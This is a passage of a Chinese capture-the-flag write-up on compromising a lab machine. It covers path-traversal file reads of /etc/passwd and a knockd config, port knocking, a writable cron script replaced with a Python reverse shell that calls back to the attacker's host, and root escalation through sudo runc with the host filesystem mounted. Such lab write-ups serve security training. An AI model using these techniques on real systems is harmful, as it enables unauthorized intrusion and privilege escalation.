       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.107/website/sales_detail.php?FUZZ=../index.html
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

:: Progress: [3/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: E:: Progress: [866/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :::: Progress: [1789/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::: Progress: [2706/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::: Progress: [3685/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::: Progress: [4657/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :[Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 2ms]
| URL | http://192.168.0.107/website/sales_detail.php?shared=../index.html
    * FUZZ: shared

:: Progress: [5188/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::: Progress: [5561/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::: Progress: [6392/6453] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::: Progress: [6453/6453] :: Job [1/1] :: 6666 req/sec :: Duration: [0:00:01:: Progress: [6453/6453] :: Job [1/1] :: 51 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;http://192.168.0.107/website/sales_detail.php?shared=../../../../etc/passwd&quot;&gt;http://192.168.0.107/website/sales_detail.php?shared=../../../../etc/passwd&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin saned:x:117:123::/var/lib/saned:/usr/sbin/nologin nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false whoopsie:x:120:125::/nonexistent:/bin/false colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin randy:x:1000:1000:randy,,,:/home/randy:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:127:65534::/run/sshd:/usr/sbin/nologin bob:x:1001:1001::/home/bob:/bin/sh 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之前web页面已经拿到randy用户的密码了，但是ssh端口可能不是打开的，是filtered或者没扫出。这是靶机设置knock的缘故。&lt;/p&gt;
&lt;p&gt;包含knock的配置文件，查看knock顺序，顺序是：1110 2220 3330&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[http://192.168.0.107/website/sales_detail.php?shared=../../../../../../etc/knockd.conf](http://192.168.0.107)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;[options] UseSyslog [openSSH] sequence = 1110,2220,3330 seq_timeout = 20 tcpflags = syn command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT [closeSSH] sequence = 3330,2220,1110 seq_timeout = 20 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap二次扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.107
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-11 08:38 EST
Nmap scan report for 192.168.0.107
Host is up (0.00062s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a3:1b:b2:23:b2:b1:3e:49:64:aa:1d:60:35:ad:b5:4d (RSA)
|   256 8f:81:4a:65:aa:50:a3:97:c9:e9:1b:18:e8:a8:18:46 (ECDSA)
|_  256 2f:8f:88:82:54:b2:97:53:62:7e:c9:1d:53:bb:74:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds                                                       
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权-BOB&lt;/h1&gt;
&lt;p&gt;给靶机上传pspy64文件扫描靶机&lt;/p&gt;
&lt;p&gt;👉 它可以在&lt;strong&gt;没有 root 权限&lt;/strong&gt;的情况下，实时监控系统中&lt;strong&gt;新启动的进程、定时任务、脚本执行情况&lt;/strong&gt;。  &lt;/p&gt;
&lt;p&gt;工具地址：&lt;a href=&quot;https://github.com/DominicBreuker/pspy&quot;&gt;https://github.com/DominicBreuker/pspy&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;wget 192.168.159.127:8888/pspy64
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(kali㉿kali)-[~/Desktop/tools/pspy]
└─$ ls
pspy32  pspy64
                                                                                              
┌──(kali㉿kali)-[~/Desktop/tools/pspy]
└─$ scp pspy64 randy@192.168.0.107:/tmp/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;randy@corrosion:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/01/11 07:58:55 CMD: UID=1000  PID=1706   | ./pspy64 
2026/01/11 07:58:55 CMD: UID=1000  PID=1555   | -bash 
2026/01/11 07:58:55 CMD: UID=0     PID=1552   | /usr/lib/upower/upowerd 
2026/01/11 07:58:55 CMD: UID=1000  PID=1550   | sshd: randy@pts/0    
2026/01/11 07:58:55 CMD: UID=1000  PID=1540   | /usr/libexec/gvfs-gphoto2-volume-monitor                                                              
2026/01/11 07:58:55 CMD: UID=1000  PID=1534   | /usr/libexec/gvfs-afc-volume-monitor                                                                  
2026/01/11 07:58:55 CMD: UID=1000  PID=1522   | /usr/libexec/gvfs-mtp-volume-monitor                                                                  
2026/01/11 07:58:55 CMD: UID=1000  PID=1516   | /usr/libexec/goa-identity-service                                                                     
2026/01/11 07:58:55 CMD: UID=1000  PID=1478   | /usr/libexec/goa-daemon 
2026/01/11 07:58:55 CMD: UID=1000  PID=1474   | /usr/libexec/gvfs-goa-volume-monitor                                                                  
2026/01/11 07:58:55 CMD: UID=0     PID=1433   | /usr/lib/udisks2/udisksd 
2026/01/11 07:58:55 CMD: UID=1000  PID=1429   | /usr/libexec/gvfs-udisks2-volume-monitor                                                              
2026/01/11 07:58:55 CMD: UID=1000  PID=1425   | /usr/libexec/gvfsd-fuse /run/user/1000/gvfs -f -o big_writes                                          
2026/01/11 07:58:55 CMD: UID=1000  PID=1420   | /usr/libexec/gvfsd 
2026/01/11 07:58:55 CMD: UID=111   PID=1411   | /usr/libexec/rtkit-daemon 
2026/01/11 07:58:55 CMD: UID=1000  PID=1410   | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only                                                                        
2026/01/11 07:58:55 CMD: UID=1000  PID=1388   | /usr/libexec/tracker-miner-fs                                                                         
2026/01/11 07:58:55 CMD: UID=1000  PID=1386   | /usr/bin/pulseaudio --daemonize=no --log-target=journal                                               
2026/01/11 07:58:55 CMD: UID=1000  PID=1381   | (sd-pam) 
2026/01/11 07:58:55 CMD: UID=1000  PID=1380   | /lib/systemd/systemd --user                                                                           
2026/01/11 07:58:55 CMD: UID=0     PID=1376   | sshd: randy [priv]   
2026/01/11 07:58:55 CMD: UID=33    PID=1288   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1270   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1269   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1267   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1265   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1257   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1256   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1255   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1232   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=33    PID=1230   | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=116   PID=884    | /usr/sbin/kerneloops 
2026/01/11 07:58:55 CMD: UID=116   PID=879    | /usr/sbin/kerneloops --test                                                                           
2026/01/11 07:58:55 CMD: UID=120   PID=873    | /usr/bin/whoopsie -f 
2026/01/11 07:58:55 CMD: UID=0     PID=872    | /usr/sbin/knockd -i enp0s17                                                                           
2026/01/11 07:58:55 CMD: UID=0     PID=835    | /sbin/agetty -o -p -- \u --noclear tty1 linux                                                         
2026/01/11 07:58:55 CMD: UID=33    PID=824    | php-fpm: pool www                                                                                     
2026/01/11 07:58:55 CMD: UID=33    PID=823    | php-fpm: pool www                                                                                     
2026/01/11 07:58:55 CMD: UID=0     PID=817    | /usr/sbin/apache2 -k start 
2026/01/11 07:58:55 CMD: UID=0     PID=814    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups                                               
2026/01/11 07:58:55 CMD: UID=0     PID=811    | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal         
2026/01/11 07:58:55 CMD: UID=0     PID=798    | php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)                                               
2026/01/11 07:58:55 CMD: UID=0     PID=790    | /usr/sbin/cups-browsed 
2026/01/11 07:58:55 CMD: UID=121   PID=786    | /usr/libexec/colord 
2026/01/11 07:58:55 CMD: UID=0     PID=773    | /usr/sbin/ModemManager --filter-policy=strict                                                         
2026/01/11 07:58:55 CMD: UID=0     PID=762    | bpfilter_umh 
2026/01/11 07:58:55 CMD: UID=115   PID=656    | avahi-daemon: chroot helper                                                                           
2026/01/11 07:58:55 CMD: UID=0     PID=640    | /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant                                                     
2026/01/11 07:58:55 CMD: UID=0     PID=638    | /lib/systemd/systemd-logind                                                                           
2026/01/11 07:58:55 CMD: UID=0     PID=637    | /usr/lib/snapd/snapd 
2026/01/11 07:58:55 CMD: UID=104   PID=636    | /usr/sbin/rsyslogd -n -iNONE                                                                          
2026/01/11 07:58:55 CMD: UID=0     PID=634    | /usr/lib/policykit-1/polkitd --no-debug                                                               
2026/01/11 07:58:55 CMD: UID=0     PID=626    | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers                                  
2026/01/11 07:58:55 CMD: UID=0     PID=617    | /usr/sbin/NetworkManager --no-daemon                                                                  
2026/01/11 07:58:55 CMD: UID=103   PID=616    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only                                                                         
2026/01/11 07:58:55 CMD: UID=0     PID=615    | /usr/sbin/cupsd -l 
2026/01/11 07:58:55 CMD: UID=0     PID=614    | /usr/sbin/cron -f 
2026/01/11 07:58:55 CMD: UID=115   PID=613    | avahi-daemon: running [corrosion.local]                                                               
2026/01/11 07:58:55 CMD: UID=0     PID=609    | /usr/sbin/acpid 
2026/01/11 07:58:55 CMD: UID=102   PID=579    | /lib/systemd/systemd-timesyncd                                                                        
2026/01/11 07:58:55 CMD: UID=101   PID=577    | /lib/systemd/systemd-resolved                                                                         
2026/01/11 07:58:55 CMD: UID=0     PID=329    | /lib/systemd/systemd-udevd 
2026/01/11 07:58:55 CMD: UID=0     PID=305    | /lib/systemd/systemd-journald                                                                         
2026/01/11 07:58:55 CMD: UID=0     PID=1      | /sbin/init splash 
2026/01/11 08:00:01 CMD: UID=1001  PID=1717   | /usr/bin/python3 /opt/simpleurlencode.py                                                              
2026/01/11 08:00:01 CMD: UID=1001  PID=1716   | /bin/sh -c     /opt/simpleurlencode.py                                                                
2026/01/11 08:00:01 CMD: UID=0     PID=1715   | /usr/sbin/CRON -f 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;p&gt;你最后看到的三行是：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;2026/01/11 08:00:01 CMD: UID=1001 PID=1717 | /usr/bin/python3 /opt/simpleurlencode.py    2026/01/11 08:00:01 CMD: UID=1001 PID=1716 | /bin/sh -c /opt/simpleurlencode.py    2026/01/11 08:00:01 CMD: UID=0 PID=1715 | /usr/sbin/CRON -f&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;一.这三行分别意味着什么？&lt;/h3&gt;
&lt;h4&gt;🔴 第 1 行：root 的 cron 在运行&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;UID=0 | /usr/sbin/CRON -f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这是 &lt;strong&gt;系统级 cron（root）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;时间点是 &lt;strong&gt;08:00:01&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;cron 在这一刻&lt;strong&gt;触发了一个定时任务&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;📌 这是“起点”&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;🟠 第 2 行：cron 通过 shell 调用了脚本&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;UID=1001 | /bin/sh -c /opt/simpleurlencode.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;cron 并不是直接运行 Python&lt;/li&gt;
&lt;li&gt;而是通过 &lt;code&gt;/bin/sh -c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;这通常来自 crontab 中的写法，例如：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;* * * * * /opt/simpleurlencode.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;📌 &lt;strong&gt;shell 是中间层&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;🟢 第 3 行：Python 真正执行的程序&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;UID=1001 | /usr/bin/python3 /opt/simpleurlencode.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是最重要的一行：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实际执行的文件是：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/opt/simpleurlencode.py
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;运行身份不是 root&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;而是：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;UID=1001
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;二、UID=1001 是谁？（结合你之前的信息）&lt;/h3&gt;
&lt;p&gt;你之前的 &lt;code&gt;/etc/passwd&lt;/code&gt; 中有：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;bob:x:1001:1001::/home/bob:/bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 所以可以确定：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;结论&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;UID 1001&lt;/td&gt;
&lt;td&gt;用户 bob&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;执行脚本的身份&lt;/td&gt;
&lt;td&gt;bob&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;触发者&lt;/td&gt;
&lt;td&gt;root cron&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h3&gt;三、这说明了一个非常关键的系统设计点&lt;/h3&gt;
&lt;h4&gt;⚠️ root 的 cron 在调用一个不以 root 身份运行的脚本&lt;/h4&gt;
&lt;p&gt;这在审计中会被描述为：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特权调度 + 非特权执行模型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它本身不一定是漏洞，但一定是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;📌 &lt;strong&gt;高价值审计点&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;📌 &lt;strong&gt;pspy 的核心用途之一&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;📌 &lt;strong&gt;报告非常喜欢的“发现点”&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;四、为什么 pspy 能看到，而你“平时看不到”？&lt;/h3&gt;
&lt;p&gt;因为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你不能：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;crontab -l -u root
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;你也不一定能读 &lt;code&gt;/etc/crontab&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但 &lt;strong&gt;pspy 不读配置&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;它只看“发生了什么”&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 所以它直接把“事实”给你了&lt;/p&gt;
&lt;h2&gt;流程&lt;/h2&gt;
&lt;p&gt;查看用户文件知道UID为1001的用户是bob&lt;/p&gt;
&lt;p&gt;查看python文件，当前用户有写入权限，可以利用该文件获取bob用户的权限&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;randy@corrosion:/tmp$ cat /opt/simpleurlencode.py 
#!/usr/bin/python3 

import urllib.parse

string = input(&amp;quot;Url Encode String: &amp;quot;)
input = urllib.parse.quote(string)
print(&amp;quot;Encoded String: &amp;quot; + input)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 准备一个自定义的python文件写入反弹shell木马并替换原来的文件，注意要指定第一行的环境变量信息，不然python代码不生效  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;#!/usr/bin/python3
import socket,subprocess,os
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((&amp;quot;192.168.0.106&amp;quot;,7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
 
pty.spawn(&amp;quot;/bin/bash&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;randy@corrosion:/tmp$ cp ./simpleurlencode.py /opt/simpleurlencode.py 
randy@corrosion:/tmp$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(kali㉿kali)-[~/Desktop/tools/pspy]
└─$ nc -lvvp 7777
listening on [any] 7777 ...
192.168.0.107: inverse host lookup failed: Unknown host
connect to [192.168.0.106] from (UNKNOWN) [192.168.0.107] 40190
bob@corrosion:~$ ls
ls
user.txt
bob@corrosion:~$ cat user
cat user.txt 
d3a6cef5b73fa1fb233ed6a0e3b9de01
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权-ROOT&lt;/h1&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 👉 &lt;strong&gt;列出“当前用户被允许用 sudo 执行的命令”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看sudo权限，发现可以无密码执行runc工具，可以利用它提权root&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bob@corrosion:~$ sudo -l
sudo -l
Matching Defaults entries for bob on corrosion:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on corrosion:
    (root) NOPASSWD: /usr/sbin/runc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RunC 是一个轻量级的工具，它是用来运行容器的。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;runc&lt;/code&gt; 是 &lt;strong&gt;容器运行时&lt;/strong&gt;&lt;br&gt;👉 &lt;strong&gt;可以直接启动一个“带 root 权限的容器”，并把宿主机根目录挂进去&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;流程&lt;/h2&gt;
&lt;h3&gt;升级终端&lt;/h3&gt;
&lt;p&gt;问题：这里使用的是反弹shell，获取的shell用不了nano命令。&lt;/p&gt;
&lt;p&gt;需要升级下shell，设置环境变量终端类型为xterm&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#Ctrl+Z暂停会话任务
stty raw -echo;fg #将终端设置为原始模式并禁用回显，调用后台任务执行
reset
xterm
export TERM=xterm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;升级之后的shell就用的习惯了&lt;/p&gt;
&lt;h2&gt;✅ Step 1：准备 rootfs 目录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cd /tmp/runc
mkdir -p rootfs
sudo /usr/sbin/runc spec
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;✅ Step 2：修改 config.json（关键）&lt;/h2&gt;
&lt;h3&gt;① 改 root.path（⚠️不是 &lt;code&gt;/&lt;/code&gt;）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;quot;root&amp;quot;: {
    &amp;quot;path&amp;quot;: &amp;quot;rootfs&amp;quot;,
    &amp;quot;readonly&amp;quot;: false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;② 在 mounts &lt;strong&gt;最前面&lt;/strong&gt;加一个 bind mount（非常关键）&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;&amp;quot;mounts&amp;quot;: [&lt;/code&gt; 里 &lt;strong&gt;第一项&lt;/strong&gt;加上👇：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;{
    &amp;quot;destination&amp;quot;: &amp;quot;/&amp;quot;,
    &amp;quot;type&amp;quot;: &amp;quot;bind&amp;quot;,
    &amp;quot;source&amp;quot;: &amp;quot;/&amp;quot;,
    &amp;quot;options&amp;quot;: [
        &amp;quot;rbind&amp;quot;,
        &amp;quot;rw&amp;quot;
    ]
},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ 一定要放在 &lt;code&gt;/proc&lt;/code&gt; 之前&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;✅ Step 3：你的 mounts 最终结构应该是这样（精简版）&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;quot;mounts&amp;quot;: [
    {
        &amp;quot;destination&amp;quot;: &amp;quot;/&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;bind&amp;quot;,
        &amp;quot;source&amp;quot;: &amp;quot;/&amp;quot;,
        &amp;quot;options&amp;quot;: [&amp;quot;rbind&amp;quot;,&amp;quot;rw&amp;quot;]
    },
    {
        &amp;quot;destination&amp;quot;: &amp;quot;/proc&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;proc&amp;quot;,
        &amp;quot;source&amp;quot;: &amp;quot;proc&amp;quot;
    },
    {
        &amp;quot;destination&amp;quot;: &amp;quot;/dev&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;tmpfs&amp;quot;,
        &amp;quot;source&amp;quot;: &amp;quot;tmpfs&amp;quot;
    }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（其他 dev/pts、shm 可以保留，不影响）&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;✅ Step 4：启动容器（这次一定能成）&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;sudo /usr/sbin/runc run rootme&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h1&gt;Flag&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# cat root.txt
18e8141ab1333a87c35e1fad5b394d66
&lt;/code&gt;&lt;/pre&gt;
